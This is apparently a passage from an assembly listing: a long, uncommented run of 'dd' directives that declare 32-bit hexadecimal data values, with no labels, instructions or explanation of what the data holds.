dd 1E40E0A2h, 37038878h, 0D91706CBh, 49B589CCh, 3E8C72F0h
dd 0D581AC81h, 4F4B3E76h, 0E02AC537h, 600C757h, 0CCE688E3h
dd 30EF767Bh, 0D228C8EAh, 81014FF5h, 62421E3Ah, 30DB56CEh
dd 9621C208h, 0A90F8147h, 182CDF45h, 9D4C60h, 0D761D893h
dd 2077123Bh, 70CC0A00h, 3832E4E0h, 793D03D2h, 7C8B4E85h
dd 60A9781Ah, 11401750h, 1EB380C1h, 0C3802C13h, 0D44F2D58h
dd 4E652118h, 827EEB68h, 5583802Fh, 1EEB57B8h, 49F810E6h
dd 0D64C2D18h, 1F18B21h, 1EC62AD3h, 30D5A846h, 41C0D0B7h
dd 0F6F58DB2h, 9A920C4Bh, 7F095342h, 85C021DEh, 0B026C1F5h
dd 976F032Ch, 77B80B28h, 841EA006h, 797856h, 52128CF7h
dd 6C6B279Ah, 73306D14h, 0FE7D0684h, 0B883F2h, 1DA9F61Ch
dd 0EFF4E04Ah, 69C3290Eh, 19CBA011h, 738D957h, 0C7306BBFh
dd 0C90900F9h, 0AE008B07h, 256F3FA9h, 0C9783B5h, 40B12071h
dd 8F03A692h, 0CC2E42B8h, 0F2FD9849h, 23FA0B8Bh, 0DC81D11Eh
dd 0D44DF819h, 4F00EBE0h, 0C8F99439h, 0E6A4A06h, 0D73468CBh
dd 8056D225h, 9A08F35Fh, 23FB2A00h, 0EEA5BB39h, 0B99B00D8h
dd 62E7A430h, 5D01769Eh, 7783706Ah, 38825968h, 0ED4FDDDFh
dd 1D5D281h, 18CD4621h, 8C33B61Dh, 80C06034h, 1E2046DBh
dd 1D29D48h, 37225A8Dh, 7230F068h, 0AA98A32Ch, 2C4D14h
dd 0F37906D5h, 1861961Dh, 71C6271Eh, 8740C917h, 0E07CFBh
dd 0EC132F9Eh, 6BB6C0ABh, 4575E102h, 810FD9D6h, 61A36EFFh
dd 0C35E7470h, 0F7D8ABC0h, 0E18A15A9h, 3CF9EC69h, 18CC0200h
dd 0FB2BDFE7h, 0B7EE3054h, 8233D310h, 28D4CE18h, 0CA5680h
dd 7332110Dh, 5E1DA87Eh, 0C9647713h, 0B6DEB400h, 609D0551h
dd 966A202Ch, 0E9E8958Bh, 0D9FD7C01h, 4B1EA2E4h, 0DEEFE8h
dd 0B6320792h, 521B46FAh, 28C72100h, 78B73FC8h, 823600FDh
dd 64800D0Fh, 9D03B84Fh, 4BC4DA74h, 0C34AB86Fh, 0DD7D0028h
dd 2C776401h, 7300F07Fh, 0C0BB5479h, 585F1834h, 0E900F9A5h
dd 91997DFEh, 70EFCCFh, 3E5EF1D8h, 70DC9F07h, 0F44E1830h
dd 1DDF3FA8h, 90500100h, 0D51B3A6Ch, 0AF005E7Ch, 0A7056EB9h
dd 0FC2EB7DBh, 21E8D7h, 0B02917CDh, 0C018422Dh, 0DFE078C7h
dd 0D5A08A81h, 6C10ACh, 92BF582h, 0C4317A4Eh, 866819D6h
dd 0BAC0EE17h, 0BC0CA34Fh, 0A88050FBh, 0F405105Ah, 50956371h
dd 3E6AA440h, 0C7E66EFh, 614AD136h, 0E65056C8h, 0DE00FC88h
dd 0C4E4D7FEh, 268610h, 5A81B28Eh, 0F6DC0BCFh, 3846050Eh
dd 0DDF780A8h, 0F23A4Ch, 5B5916D3h, 5A412DDAh, 21C03FE8h
dd 6CF13263h, 0DC1000A4h, 0D2342214h, 5EC3185h, 4F06A67Ch
dd 6B52BF7h, 25AC1E30h, 6D03803Ch, 84A8FC69h, 1F083963h
dd 432010F6h, 133C0144h, 0F8354D57h, 18B4DBC4h, 79A9862Dh
dd 1300850Ah, 73C2302Fh, 188D97D5h, 681FA1F4h, 29CED462h
dd 5EAEA02Eh, 1DA0EFA9h, 0C67FE4ABh, 9101F503h, 10C90501h
dd 0DE30CDFAh, 0CF571083h, 0E49037E8h, 0B01D0148h, 0F818499Ch
dd 0FC293431h, 0AEEF03BAh, 58125667h, 833260C9h, 49CA6CF0h
dd 6890025Dh, 0A5FAD7D9h, 632084A4h, 6CFCD03Dh, 0F2608CA1h
dd 4F454221h, 0D983049Bh, 8070A38Dh, 0AA01F49Ah, 0F891B10Ah
dd 1E83D80Fh, 84CEAh, 49C52F10h, 34FAB341h, 9674CC00h
dd 0ACD9704Fh, 927B07E1h, 704704BFh, 75CB6C6Ah, 8EA42D05h
dd 7080DF97h, 5D8AC6h, 0F1F9B22h, 70ABC7CFh, 31F9E51Dh
dd 0BC2F6C40h, 842DC1h, 1BF3250Eh, 0AA78800Ch, 0C55FCB00h
dd 0C492ED83h, 0E98700A6h, 61A5DAEBh, 427FCF36h, 5B03E303h
dd 0C8BC768Ah, 11FB51h, 58C769B2h, 0D09EB002h, 0A4266A03h
dd 0C1EB2FBBh, 10A16B30h, 5619F004h, 3102360h, 3A469CB4h
dd 3C1F174Ch, 0ED1C0072h, 1978DA86h, 2EE8961Fh, 8C038Bh
dd 144C6F9Ch, 58090E68h
dd 7C6ECC21h, 39BC32A0h, 0FD00759Bh, 3CB274FEh, 3BC71BB8h
dd 5B007A41h, 0F75C0F19h, 9C003658h, 0D8F3813Dh, 0EBBFD51h
dd 0C305911Fh, 8FEEB5E3h, 0FEB68C80h, 74E80400h, 5FA70C7h
dd 0D0EFFDB0h, 147568h, 0CD1B961Eh, 7FF37462h, 0F7BA7100h
dd 7972AFC5h, 2B67009Eh, 86C3209Dh, 8507D429h, 18A90C7Ah
dd 3E4D6593h, 7BEC30h, 281A7DEAh, 5153E498h, 0A9EE8B00h
dd 9C45AC07h, 5F7E73h, 1F0AC08Dh, 9415A4F4h, 0D697520Eh
dd 0E9C13CA6h, 8CDE1B26h, 1C45EDF4h, 0C0F0887Ah, 860C4C18h
dd 3800EF31h, 0E0839DF1h, 0F5907h, 0F54D55C3h, 11318C02h
dd 0EAF17601h, 222BE2A1h, 0F3DEF8h, 84B937CFh, 5CBB0769h
dd 2A066F00h, 613082FAh, 0F8B004Dh, 5DC5B36Eh, 0CE07FB89h
dd 0EFE18674h, 264E2F51h, 8EB4C4h, 347F0308h, 4973C6Fh
dd 0F4C9F3Ah, 0C0813E56h, 0A2E7ECFDh, 2484002Eh, 0A6482F20h
dd 5F007192h, 0C473FB1h, 0EC6268h, 2DA5ABC8h, 6DE30489h
dd 372A4E07h, 4B50C5B0h, 60EE3F09h, 0A2C3EC6h, 0E70E5DF1h
dd 432A2D61h, 0B9C975A1h, 0F040EC85h, 8EA79Ch, 1F5EE52Bh
dd 0F8C7537Ah, 0D300DA76h, 0B850CC42h, 0C18069h, 3DE6113Fh
dd 4DDABA78h, 0FAD2C50Fh, 5696A0A6h, 6F904095h, 6820219Fh
dd 0C016FFE2h, 6E7DE900h, 274D5D60h, 9D710094h, 6131B9EAh
dd 700E244h, 472B6E2Ah, 76A9E8h, 90B7FEF2h, 793C9F38h
dd 701C2F7Bh, 0B6406FA5h, 0EEDCAEE5h, 0AAF23E22h, 9A717780h
dd 65DA1BC6h, 0B384BF14h, 2BE700FDh, 10A292C9h, 0D0EA00BEh
dd 4D1CBA49h, 41763A76h, 6D709C06h, 0F11865Fh, 0D56D9E9h
dd 4D3532C0h, 5A988D24h, 70B1800h, 2857C823h, 91A20094h
dd 0B5648F54h, 0D6760FF3h, 1E51300h, 80666D4Ch, 0F8703Ch
dd 0EBBAD3EEh, 0B818FBB3h, 0CD6B3300h, 0CC9B279Ch, 43910098h
dd 0A6B01503h, 6F00BB2Ah, 0E9D99DBDh, 48C00F56h, 391DBF3Eh
dd 0CA1C099h, 0A37166E6h, 0CF26A200h, 573C2C94h, 2E733E7Eh
dd 8813BF80h, 985571BEh, 0D76D8301h, 701130A1h, 1D9C20h
dd 0BC04246Eh, 0E3125EE7h, 0B3C38B00h, 445DA93Eh, 48250C70h
dd 1CC102E1h, 90358200h, 407336E9h, 6B711884h, 5E67789Ah
dd 0C87C6F03h, 3B335D1Ch, 58804FB0h, 0EA1AC18h, 0D100BAA4h
dd 0C4BB2FE1h, 1C6AF1EDh, 40B2212Eh, 0B1915948h, 0F8246C4Fh
dd 1B007097h, 44060E56h, 0C2E4F431h, 9CD0F638h, 2720E560h
dd 50C9D926h, 0B6DBC701h, 1FCF81Ch, 2EAB0008h, 0C0ACFCF2h
dd 1860A59Eh, 0F07683D0h, 2BEA3F84h, 1BF1D30Ch, 0D900F218h
dd 7B130C5Fh, 0E8B404h, 436D59A2h, 0F67657BAh, 0EE58FF7Ah
dd 39007035h, 30602C81h, 4C1087h, 357DA684h, 0FE48C24Ah
dd 0B88C60Fh, 542923A3h, 73A9F0E4h, 2AEE249Ch, 2C790374h
dd 6097AD3Ah, 0B4F6FA6Eh, 383BB739h, 787787F5h, 18A03499h
dd 0FA8CFDC6h, 0CB110084h, 951C4FAh, 46FE0143h, 0F3047F75h
dd 124018EEh, 2FC03B0Eh, 88D07A44h, 57BEE71Fh, 3C984540h
dd 3E4723h, 0E5A44FADh, 0FDB36D64h, 375A8D07h, 3F208850h
dd 308E33F8h, 0CB30480Fh, 8A76145Ch, 0BD3A853Bh, 1F25BD4Dh
dd 9001B27Eh, 5FA68CEAh, 0D450F5C5h, 504EC20Ch, 4821D807h
dd 1F0060A3h, 1B4A08A9h, 0E2ACF15h, 0A03DD4D6h, 2CA8CC1h
dd 55C28A2h, 608F5554h, 17638013h, 0D10095FFh, 0F80F57C7h
dd 49035866h, 0ED005CA1h, 6E5B246Fh, 76EA31D3h, 0F571B800h
dd 4ABA397h, 0B2D70FA4h, 4A698E54h, 9068FC2Eh, 6F42A440h
dd 48BA033Fh, 598C8BC7h, 0F4EF68E9h, 1CE23012h, 29A1D204h
dd 6CC56516h, 0E41E7980h, 0F4E300B7h, 0F502497h, 0BE0071E7h
dd 0EEB21A55h, 11743C4h, 0E8ED2360h, 0F87396E1h, 0B503920Ch
dd 7DADD73Eh, 533D882Ch, 0BB660ED3h, 16A063F1h, 565FD152h
dd 3CC99700h, 0A89F2A9h, 65E5006Fh, 8F342B2Dh, 0AF03F52Eh
dd 0C0A8AC66h, 22600017h, 147AC2B4h, 0D100D6DEh, 888251A9h
dd 0E4263B7Fh, 45C0068h, 36422275h, 3EF0B027h, 77EEDCFAh
dd 0A167FC09h, 68AB8012h, 0DBCC5Dh, 7ACFEBAAh, 8B03BB15h
dd 649D5B00h, 0B2081893h, 35971C67h, 0D2CBC096h, 0A4DD3FC3h
dd 1345A800h, 0AC3B617Dh, 49DA0237h, 8F3A4C2Bh, 0ED5CE440h
dd 0CA4E2700h, 4F09E75Eh, 0E0DC09C5h, 2CA0BD39h, 189629B7h
dd 2B002FF2h, 7FCAD628h, 0FCBFC2B1h, 0D7CB001Bh, 0CDF51C05h
dd 0FB000A07h, 811058E7h, 30FEAFE1h, 9DEAEE92h, 6B0F6785h
dd 2C37448Bh, 3C180D7h, 6C364DD3h, 103C703Bh, 0C2E401C3h
dd 4597F1B5h, 8DA9A984h, 9430806Ch, 630E1DF0h, 8025F93Bh
dd 3896C9DFh, 0E44E0E58h, 80BD8D77h, 3F21CC4Bh, 0A81BA6C2h
dd 3068C0E2h, 285098AAh, 5641C824h, 6DC054E1h, 45A50548h
dd 0C8DF2F3h, 0EB38BF3Ch, 0F188C20Ah, 0A7000C9Ah, 5DD66CA8h
dd 59A50FF3h, 3034F2F4h, 0E8268D80h, 0EA1C8EB2h, 0F5006B64h
dd 0A5C7F2ACh, 10710730h, 21449317h, 0F008582Eh, 9F3BB806h
dd 924F0059h, 8CCE222Ch, 0F778BF4Bh, 2AF53F00h, 80D98F7Dh
dd 1C090032h, 0AAE49D21h, 93004360h, 2D461238h, 24A7A58h
dd 6431A066h, 0C5437FF7h, 0A69B5BC8h, 6E27CC00h, 0C0E85391h
dd 1E6A004Dh, 0F11A8D17h, 1902549Eh, 913FDCC4h, 42607F6Dh
dd 4600106Ah, 34B21C9Bh, 874A77h, 0D22BD338h, 0A3A0B85Dh
dd 0A84EF000h, 721A9594h, 389C00FAh, 4B416AE7h, 0F539BBFCh
dd 18171303h, 29852102h, 20F3E237h, 52927FC0h, 2DEF01A7h
dd 85D46DF8h, 747CD1FBh, 7A001640h, 3CA47F52h, 701EDD56h
dd 264100C0h, 0F2FAE6DFh, 0D903C25Ah, 0A9690351h, 29181C24h
dd 9B948134h, 288F795Fh, 51047848h, 0F93CE83Fh, 0F293E280h
dd 0FF63740Dh, 0E7B22181h, 0DB8334E8h, 6EDD69C0h, 0DA3050C1h
dd 68B5EFF2h, 585803B9h, 20006949h, 3F77319Fh, 0F8AC39D0h
dd 4AE76025h, 819AE2FAh, 2F75D274h, 0EF84B000h, 6C685820h
dd 7451799Dh, 21BD626Ah, 76005C0Fh, 5ADBB3h, 1B4B4AA1h
dd 4FDAE885h, 44F2B100h, 0FAE2D081h, 709203C7h, 0F98C48E9h
dd 0FBB03BC8h, 3D80E500h, 0CE495E43h, 39300C38h, 0D060F177h
dd 5C99C200h, 0F6345206h, 8C691DCCh, 2E303FF5h, 5C81AB20h
dd 0FF43B800h, 0DD17FED4h, 88C460B6h, 0DCE3CF04h, 10D5FA30h
dd 0B98F65h, 96BC0ABBh, 0AF3668CAh, 0A0DE601Eh, 9AD2F4CAh
dd 929C5118h, 0E0CEEFBh, 3E4B5C91h, 0A3ED2B40h, 7117FCE5h
dd 6A00A57Dh, 13E6F09Ch, 775F026h, 6A878314h, 0DDB74064h
dd 93008A21h, 136BCD56h, 0BF2344h, 5D165CA4h, 791EDCEDh
dd 0F3B41203h, 887DB33Fh, 0F6087E05h, 913A006Dh, 393CE7D9h
dd 0D8001E3Bh, 1FEC6A1Ah, 42860Fh, 28EFE93h, 0B6E8E529h
dd 0F357D43Ch, 64BB5103h, 0A0DA7261h, 14757132h, 9307EFB5h
dd 54664E06h, 0CE600850h, 0EFAE1421h, 63C30024h, 553E9990h
dd 0DC03B25Bh, 3CDB3396h, 0D5280010h, 0F5A76444h, 460C7FE5h
dd 86FDDD9h, 0AA21C047h, 3175A79Ch, 3AAF730Fh, 52CCC0FAh
dd 0B0C4CEh, 0EBEC9722h, 51DA770Bh, 388C2D30h, 1F3A9142h
dd 0F36AFD21h, 20346502h, 686BA1D5h, 56B876h, 7A2ECF70h
dd 0F7DE792Fh, 0AF4FC600h, 686A2CCCh, 0E84C6FA5h, 46860393h
dd 28043BC5h, 0B1C79D63h, 59C63906h, 8D42FF00h, 6DD90B23h
dd 2F04005Fh, 0AC5A3A80h, 5618CE17h, 0BC504B19h, 0A1F1028Ch
dd 0D4B71B15h, 0C04F02h
dd 0FE1793CEh, 9A0329F0h, 4EB2DCE0h, 0A49A00FCh, 1A353D23h
dd 0C700E812h, 34AD5EA3h, 3F221EDh, 2816C980h, 58C01B79h
dd 0FCF255CAh, 7082F100h, 36E8F6C4h, 0F00903BDh, 0C67D4FC1h
dd 0B6AE3001h, 65C04264h, 33AF5E8h, 0E0A7A18Eh, 50061744h
dd 77A811C6h, 0F48E431h, 0C70DF658h, 19E94F06h, 69F17800h
dd 94D556A0h, 187C030Ch, 0A8F7E06Fh, 8D0137E0h, 0C55080E5h
dd 4A101661h, 62AC00E8h, 7A900D7Fh, 94002F47h, 27A6CDDCh
dd 6EFE1B6Ch, 5BE0188Fh, 4E21781h, 0CAF6419h, 3DF75731h
dd 0F20CA764h, 1430E5AEh, 5C748E00h, 622A6EC4h, 519603C5h
dd 24304960h, 2C3253A0h, 9718417Ch, 0E2C17850h, 0F10A6043h
dd 0D580188Dh, 37E0C083h, 915F2C9Dh, 0EE090099h, 0BE3394EBh
dd 0F2A64806h, 0FE900B76h, 72221C85h, 0C214C4F5h, 0AA7E8042h
dd 0FD1EB2D5h, 9F7A4A71h, 0DC40B318h, 544F60Dh, 0F59D395Ch
dd 0E692C80h, 7B9E080Bh, 72CEB700h, 9DDCE5A9h, 0C040CBB0h
dd 80ADFE84h, 0BC14452Dh, 1A3CAC7Ch, 0D86B07B9h, 2DA1CD70h
dd 20F0B123h, 7DFF7160h, 93CC0069h, 6C2FB8BAh, 0FCE9624Dh
dd 8303354Fh, 0F748031Eh, 31283EDCh, 38643000h, 434E4909h
dd 1968B230h, 0B34648h, 0F9A833EFh, 0CC3D0ABEh, 0C15D0C01h
dd 2803D7F7h, 31717880h, 0C07204FCh, 0B4EB0F03h, 9821ADB2h
dd 2B2301h, 3F310E5Ch, 5BF72704h, 0C3C5AA0Dh, 9403E05Ah
dd 5D4290F1h, 32DB7C7Ch, 11196D81h, 0E4738C82h, 0A48BF00h
dd 330C07CFh, 70D82499h, 515A4955h, 50109865h, 30DF043Ch
dd 0A61069DDh, 0F200286Ch, 2E9C3D67h, 3D557C31h, 6281EB78h
dd 0E0159EB1h, 6738FCE7h, 140170E0h, 543035DDh, 0C0F6839Bh
dd 0B0C140h, 1B2E3AD7h, 62A116D2h, 71CBE403h, 0D8993870h
dd 30182B3h, 753B729Dh, 808F8749h, 0A0572514h, 0AABC670Eh
dd 669E406Dh, 1C34DA88h, 0C2857B93h, 0FCCB8DC4h, 41896AC0h
dd 8132ED00h, 0F01D1C7Eh, 59BD0082h, 615152D6h, 170054F4h
dd 2233C805h, 490128h, 0DC7CE8FDh, 5881563Bh, 575F4F0Eh
dd 0C0984ECBh, 0D9806B3Ch, 92210622h, 199B8B9Dh, 3AB59503h
dd 0A8EF20D6h, 0D75396h, 0CDF3BD24h, 930E36E7h, 9B0028DCh
dd 38DAC90Ah, 0CF7100B2h, 0D168E5DFh, 0D800274Ch, 2C3DF47Dh
dd 1FD0255Ch, 8C874BD2h, 85698B7Bh, 21BC6118h, 0F3532C1h
dd 82D9D094h, 0B2916060h, 6F30EB22h, 0F4CE7120h, 5854009Ch
dd 0E732DB42h, 0ECA32378h, 0D0FF0889h, 5A00DC55h, 0F0F47BC1h
dd 73905612h, 0C300904h, 42054D1h, 0C90FCF9Ch, 1FCB3F3Dh
dd 0B9F3B6h, 0BFA2627Fh, 38A09072h, 0C2005982h, 186D6F1Ch
dd 600653CCh, 0C0E1170Ch, 0E22B3F60h, 7482BF81h, 0E4C609FFh
dd 21006088h, 0B65C950Ah, 7F6C849Dh, 177C00B4h, 6DF47E87h
dd 2400F3ACh, 0C9ADC32Bh, 1C0FF8h, 483F8A15h, 2DAA7EABh
dd 35DAD200h, 8F148558h, 15FE5Ch, 9B33CB72h, 40FAC41Dh
dd 4DFDDC2Ch, 0E4379600h, 1DB87426h, 80A97FE0h, 0ECC8D5D7h
dd 9D00A2D0h, 11CC1FEh, 52D81E5h, 907C97F8h, 0C1B31C4Eh
dd 591D263Ch, 0C48821A8h, 4C0ECA1Ah, 210A1CB5h, 92B6300Ch
dd 0D03B9C40h, 0D9860038h, 62256327h, 0F900EBDEh, 0A1E63FBCh
dd 0BE5ED8h, 0A35C7D23h, 0ABA4752Ah, 4C8D1400h, 0F7E70356h
dd 8CBF0324h, 1CFE7EC1h, 0C0877382h, 4F28E00Ch, 0F20102F9h
dd 2F7CB897h, 0B8D76ED4h, 9616CAh, 5AC8FD0Dh, 89CB144Dh
dd 0AC23300h, 0E3ED7EA0h, 0EFBA0F4Bh, 0FF60C09h, 0CCE02646h
dd 3C61E63Ah, 0A41D573Ch, 0A8870083h, 3D50BE3Bh, 1DC7432Fh
dd 1F47ABDh, 704C478Ch, 1DE6F02Dh, 0EBB1DD01h, 96DF7D0Eh
dd 0F483013Bh, 406E76B0h, 655E729Ch, 0F5EC2AF2h, 0EBD55800h
dd 222D74B2h, 519C18B1h, 8D652845h, 5F19DD09h, 123C1ED1h
dd 1F8941A5h, 0EEF04110h, 0E5B3C959h, 0A740AC48h, 69EA8200h
dd 2632DC99h, 9F68940Dh, 6325C0FAh, 0D05638A1h, 0C700A474h
dd 6E8FBC0Eh, 70FCD15h, 0A591F1DBh, 0AA961268h, 0BFD8A440h
dd 0B113E00h, 9F64FAEAh, 0FE7707E9h, 0B066863Ah, 0C2237FBDh
dd 16823381h, 0FB9AC3D8h, 12F808C0h, 0CB732600h, 1735D916h
dd 0B6221F9Ch, 3C178Eh, 3207FC55h, 0F500C554h, 4B8394F1h
dd 0DAB36Bh, 3702732Bh, 0F03FB516h, 8E0CFA03h, 1F34486h
dd 2FFD6D28h, 0D763E858h, 0D2A03AE0h, 0B7E06C00h, 0E4FC282Ah
dd 0CD921E8Bh, 118880BEh, 30B48AFBh, 0B9C40B0Ah, 39038C26h
dd 0F02A1E3Dh, 0B279B5h, 5D4ACD93h, 1938AE87h, 0E04C800h
dd 72F5C3F0h, 30FE0029h, 9C5075DAh, 0A700015Fh, 0BBEA21AEh
dd 0F2D882h, 0E9E508D0h, 0E867F6Eh, 498E0900h, 0D33A95Bh
dd 0B1D40EF9h, 0DC6053FCh, 8BFB3102h, 0EB4F2700h, 304E4A9Dh
dd 0FD87002Ch, 96242265h, 0E100440Ch, 76950BC6h, 57BF1B4h
dd 678504D8h, 6E5487D9h, 0F8D23980h, 8C00AB3Dh, 0FA2B348h
dd 878960h, 73BFFAF4h, 0C02FF8FBh, 4E5D4000h, 0FCC8DD9Fh
dd 674D037Ch, 747A662Bh, 0DC7F6FF0h, 0D094574h, 613D20h
dd 0D4C87778h, 60B0079Fh, 71459BD0h, 0C576F832h, 3AC3413h
dd 9920A4A6h, 0ACEA00BBh, 9A2DD741h, 870F1D50h, 40694032h
dd 944715C4h, 0DBFE0Ch, 29709D8Eh, 882A473h, 62A058h, 43CA3F4Fh
dd 499AA7h, 426F966Ch, 8D357921h, 2DC90100h, 0D565E34Ch
dd 697E58C4h, 6AC1CD00h, 7D692840h, 764B601h, 770AFD51h
dd 0F8054082h, 66206D24h, 1CE30269h, 8071E14Fh, 50200C49h
dd 0CA0070E9h, 0A891BB5Fh, 7479D418h, 0FC69F457h, 1F3F00EBh
dd 0C31470Dh, 86EAAE13h, 0A6AD7100h, 0FC12A3C6h, 0BA790094h
dd 0A2467359h, 5F00F045h, 5EF51AC2h, 7B074A53h, 0B64300F2h
dd 0CD5452E0h, 0C9722723h, 0A365B80Fh, 0B90FE016h, 4EDF13h
dd 99280A05h, 6BF118F0h, 3DE57C04h, 0BAC32EADh, 3C7AB097h
dd 0CA8E487h, 71616BE8h, 3F00AB7Ch, 0BFCACD13h, 688F49h
dd 8896E73Ah, 0E93D647Bh, 260005EEh, 0EB6B4DBCh, 342776h
dd 90E0F0D6h, 2CC39C0Ch, 3B01FE72h, 26E2ADA4h, 3C2442D5h
dd 345F2CDh, 99F012EEh, 669ACFA7h, 0BC1CA868h, 199B2500h
dd 1C339F4h, 34E32EF6h, 32DE00E3h, 30CF91CBh, 0F7DD2100h
dd 0EBEDEA0Dh, 0FAD10FDCh, 70EFDBE4h, 0D4802FEBh, 1143C3BFh
dd 2A94CA08h, 0E263808Fh, 787282Bh, 6A72F302h, 812394DDh
dd 2BD51910h, 1AFF474h, 0A64F8493h, 0D0748533h, 0E4501402h
dd 5A1FAB10h, 45C6C9E5h, 3808BE6Ch, 0D380B8DAh, 0A96DE63Dh
dd 6E4BA6AAh, 8400F1A8h, 0E3F5D773h, 160F5214h, 17F7005h
dd 59E13F94h, 184B13E8h, 0C04FCF58h, 631C43CBh, 6BC0CC27h
dd 5FF9A64Dh, 0A8EA03C0h, 439C3076h, 656CA4E0h, 0CC371B05h
dd 78316A78h, 6852EA19h, 4506009Bh, 0D7002E0Eh, 0E02DC075h
dd 25E9FFh, 90F95019h, 1D5EAA6Fh, 4F552400h, 79D98392h
dd 880C0A37h, 8BB5B2h, 0FB0C260h, 2E71A08Dh, 0FB63838h
dd 83BFEA09h, 0E0DB9F84h, 2C7B92C7h, 868C6411h, 74E46630h
dd 2B074706h, 4A084ED6h, 0A9B40132h, 0D453E46Dh, 0DE04BFE2h
dd 0D962A6E9h, 384683h, 2D8C98D0h, 0B3DFCCB2h, 0F41FF1F0h
dd 80F98B25h, 0BF0F16A0h, 7E2BEE7Bh, 6C7806A3h, 9188B126h
dd 4E0F680Ch, 515CA827h, 60848C8Dh, 4029C9DEh, 6D23BD04h
dd 44BB06BEh, 8ECA7E4h, 20D71230h, 23DF6Ah, 17A2CC76h
dd 4DE59A47h
dd 3BB89D54h, 0DB31461Eh, 7715F7C0h, 1AD22E2h, 9CBE29CCh
dd 244830ACh, 860A2484h, 0D01BA851h, 0D878F843h, 0CA3A64Bh
dd 0A5952784h, 31DCF608h, 0FFC0DF9Ch, 355C5DFAh, 6EA200C2h
dd 70CA38ECh, 6406D1E5h, 0A14CEE99h, 0B8A61D68h, 0C9663113h
dd 44798043h, 0DD87CA4Ah, 0A3A000ABh, 3BB2D730h, 0A87E4F11h
dd 48E9230Ch, 0B8D1E4h, 69726C52h, 1963CD5Fh, 0B4086764h
dd 7AA5E0D0h, 13D2016Ch, 10233E3h, 97AC4007h, 0A2602E8Eh
dd 0F60FA488h, 0BF630FDBh, 91801992h, 3570E483h, 4804CE3Dh
dd 0C7AC00CBh, 54DF03F6h, 75FC0043h, 36207FFDh, 4700DB72h
dd 0C2D389DDh, 3BA3Bh, 0DA5011E4h, 442C2B1Ch, 0E718ED02h
dd 0C0A445CFh, 1634724h, 0D85619DEh, 0D4E0348Bh, 203C04Eh
dd 8CAFDDF1h, 88840098h, 0AB5DC21h, 2A01AB85h, 27D83A02h
dd 0C3CDBF89h, 6FDCB8F3h, 0E57469h, 0DE92319Fh, 0A01B9B61h
dd 31FD8D3Fh, 0D687089Ah, 0ED322080h, 66095461h, 83F5A300h
dd 0EB8CBC19h, 51AC18B4h, 410848E8h, 0B066FE06h, 60680EA7h
dd 4B6961F2h, 0F1EBF78h, 1C0784D7h, 20CCA275h, 0B197307Fh
dd 0DA8EA09Ah, 93F0201Dh, 2032370Ch, 0B18000EDh, 0BCCC9AD9h
dd 3F18460Eh, 99602207h, 49A96059h, 15538928h, 0E00B0830h
dd 638F3F3Eh, 166D2813h, 0B0E42098h, 2DF68603h, 12BA6779h
dd 0E13718h, 30D69526h, 66004E23h, 0B3851CB1h, 4AF6E2h
dd 8EDA72F2h, 9843D93h, 40CE3Eh, 55A2D0B6h, 3F12418h, 0D4AB473Ch
dd 0BEA8CC93h, 0F258621Eh, 7A100015h, 0EF9C6D3Ah, 676601DDh
dd 23915F90h, 0E0607159h, 0FB005346h, 928D0988h, 375F687Fh
dd 84F5Ah, 0D5534723h, 0CF099F00h, 82A1F7EDh, 25C60020h
dd 1658951Ch, 9206133Bh, 29F38E7Ch, 3E2FA030h, 6FBB0122h
dd 0E8D77F60h, 5B088C81h, 134E207Dh, 0EB5E224Dh, 0D95A8800h
dd 566F32h, 8737BFE8h, 0B192212Dh, 1E551203h, 1872805Dh
dd 40A53468h, 83527C91h, 22550238h, 30886FE2h, 0A78045F3h
dd 2622014Ch, 0D8F1C1D6h, 8039A0EAh, 0E855BC0Dh, 0B9E06011h
dd 0EB2A003Ch, 9ED9C147h, 29C05624h, 3FE9BC73h, 0EF7E031Ch
dd 0F595D442h, 210177A3h, 47E9E29Eh, 6720D14Bh, 0F87F253h
dd 285CE1CBh, 0C9F16078h, 60C1D0B8h, 14BEA656h, 30CAA049h
dd 0BF112282h, 4188406Fh, 2240629Dh, 0E4591FDDh, 0BF5F002Dh
dd 9966D9C2h, 60C00E78h, 0F31219CAh, 0FF40000Bh, 0D85ED7B8h
dd 7C00B994h, 215DEFF9h, 0B4A151h, 0A46E0204h, 8A3F9210h
dd 1D0014ECh, 42C4A2FFh, 156C8Bh, 861AEB2h, 0F8D0F5E8h
dd 8ECCB707h, 0FE2013FDh, 0DE1268h, 3CBFCFA5h, 0A7F5ECC5h
dd 693FD500h, 0E2A99BB2h, 1CF3003Ah, 0ED755BADh, 2C00ACB9h
dd 30F72E6Bh, 0FE903Fh, 0E0D42193h, 0F4B81D46h, 2B5FD800h
dd 0AC5943BAh, 4D521831h, 6ECD3802h, 30135D01h, 706668E3h
dd 0C8F0ADD1h, 209009Eh, 0B8D8161Fh, 6B008082h, 0E49BEC35h
dd 0D36EAAh, 38F1F5D9h, 1782CB2Dh, 0EA533Ah, 73AC68C3h
dd 13E165Bh, 0ABBA27EBh, 0F0516C43h, 897CA378h, 0FE92D104h
dd 1F762Ah, 4BE21370h, 50BD24B8h, 0A09F601Dh, 0B2051D6Dh
dd 8CE32E1Eh, 6EBF4842h, 6BB560F6h, 0CFCD00C8h, 3915BC91h
dd 43E8F006h, 2300B1EEh, 6F27B82Dh, 0FFD192Ch, 949CE32Fh
dd 55485918h, 778E6A0Fh, 1D433FB9h, 98A0AF3Bh, 2ADAAB8Bh
dd 0E84E8F5h, 0FD51E0CFh, 802D7F47h, 89BB8AB9h, 98050F00h
dd 0B8925A7Ah, 9341007Dh, 0BAE3A4C5h, 32008D8Ah, 0FB830AABh
dd 3FEFFD80h, 0AC046DE7h, 0F869A9D4h, 49C0384h, 0A0D26372h
dd 406094h, 0B6DEEF09h, 167C2C1Bh, 0D0211C00h, 3279FF78h
dd 1AA63D97h, 0B3ED20Fh, 20F8C6CEh, 7A5C2BD5h, 0C26A094Bh
dd 236A8F44h, 90FE1C43h, 0F6B1A88h, 0A42DC8EAh, 61D31D81h
dd 68188032h, 5618C5DBh, 39A0381Eh, 0BC07506Fh, 6B8A5128h
dd 431DC0EBh, 0D408FA63h, 5C200020h, 882C22CFh, 95052DD5h
dd 1A0BBA48h, 36413004h, 6123C11Bh, 22CD0FEDh, 3CB36B02h
dd 0B110C119h, 470322D5h, 0F87930AFh, 80EA883Eh, 7A330284h
dd 0E998D788h, 3DD69482h, 1F616918h, 61369730h, 1302C791h
dd 0C8847A06h, 57F504C0h, 5A2E1E05h, 2808D548h, 60FBC1D0h
dd 0D06F896h, 11C44486h, 707A1300h, 5ADA8AF1h, 1E6902E0h
dd 142E42C5h, 61058080h, 89076634h, 30A44D81h, 54415130h
dd 6CD0008Dh, 18A23A10h, 1A002526h, 476460A6h, 1B50A0h
